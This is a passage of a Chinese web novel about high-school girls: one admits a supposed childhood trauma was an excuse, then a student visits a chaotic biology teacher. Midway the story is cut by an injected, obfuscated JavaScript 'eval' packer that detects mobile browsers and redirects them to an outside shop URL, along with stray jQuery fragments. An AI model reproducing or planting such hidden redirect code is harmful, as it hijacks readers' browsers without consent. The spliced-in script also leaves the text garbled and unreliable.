喊那个称呼。”
那就是她爸爸了。
“我当时说的是,我母亲的配偶小时候家暴我,所以我后来就不穿裙子了。因为我觉得女生太弱了打不过他。”
全体同学顿时对颜阎肃然起敬。一瞬间她的率性和反抗都蒙上了悲惨童年的阴影,一切行为瞬间有了解释。
“后来呢?”王海同动情地问。
“后来我意识到他那根本不算在家暴我。”颜阎挠头,“就,他会点武术,每次都能按着我挣脱不掉。很恐怖。那几次都是很小的事,比如我想吃牛肉干,他让我一会儿吃,我去,他拦,闹急眼了。”
大家都好无语:“你压根没解释你为什么不穿裙子!”
“纯不爱穿!”颜阎骄傲地说,“我后来想明白了。不是女生弱,也不是我弱,是他强而我小!我当时只是不想穿裙子,于是从记忆里翻找出了一个理由,假装穿裙子是我的创伤。其实我只是不明白,为什么女生一定要穿裙子!”
还是纯粹的反骨。大家都放心了。刚才差点以为她真的是拥有悲惨童年的美强惨了,现在看来,颜阎果然还是熟悉的颜阎!
康烁影上前一步握住她的手,代表大家发言:“看到你没有从谐星变成反转后的悲剧角色,我很欣慰。欢迎回来。”
颜阎说:“死!”
颜阎获得了与妈妈的争吵和放学后不留堂的机会。虽然每次早放学,妈妈都会板着脸不理她,一幅“你还骄傲上了?”的表情。其他同学都只是在看热闹,但至少她自己爽了。
也有几个人真心为她高兴。比如康烁影,比如刘征兰。
颜阎还顺带问过刘征兰要不要也退出朗诵比赛。刘征兰说:
“我不退。”
颜阎点了点头,没有说话了。
康烁影的心在颜阎问的时候就提了起来。刘征兰一回答,她差点心脏骤停。
问话好直接,回答也好果断。
向颜阎发难的宋悦馨是刘征兰的发小,颜阎本来心里就不舒服。刘征兰这么干脆地拒绝,简直就像是把颜阎扔到一个孤立无援的境地。这完全不符合女高中生小团体法!
康烁影隐隐感觉这两个人在吵架,但颜阎没给她问话的机会。她提前写完生物作业,开开心心地对完答案去找生物老师问题了。
生物马老师的办公室在三楼化学实验室后面的单间里。三中太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474310|154276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小,职称无比混乱,但她有单间,应该也说明了她的职位比较高。颜阎每次都攒好几张卷子,一股脑地全问了,以免多走路。
化学实验室静悄悄,七八排带水槽的实验桌比朗诵大赛的队形还整齐。挥发得与清水区别不大的盐酸和满是不明沉积物的其他细口瓶都满怀期待地希望学生能用一用它们。颜阎残酷地忽略了它们,直奔办公室。
“马老师!”颜阎敲门,“在吗?”
办公室里“咚”地一声响,听起来是有人的膝盖撞到了桌子,然后是哗啦哗啦的玻璃碰撞声与纸张乱飞的刷刷刷,还伴随着不明哼歌声。
“……老师你没事吧?”
“没事!你等我一下!办公室有点乱!”
“哗!咚!”听起来有人在猛烈地打开抽屉再塞回去。
“邦!”什么东西杯叠在一起。
“啊!”马老师的惨叫。
“哼哼哼哼……”不明哼唱。
“老师?”
在一段令人不安的沉默后,马老师打开了门。
她梳在脑后的头发很乱,这边鼓起一个小发包,那边头发挠着脖子。手上戴着手套,透明保护镜推到头顶,甚至穿着实验室的白大褂——一看就全是她自己准备的,这破学校哪有正儿八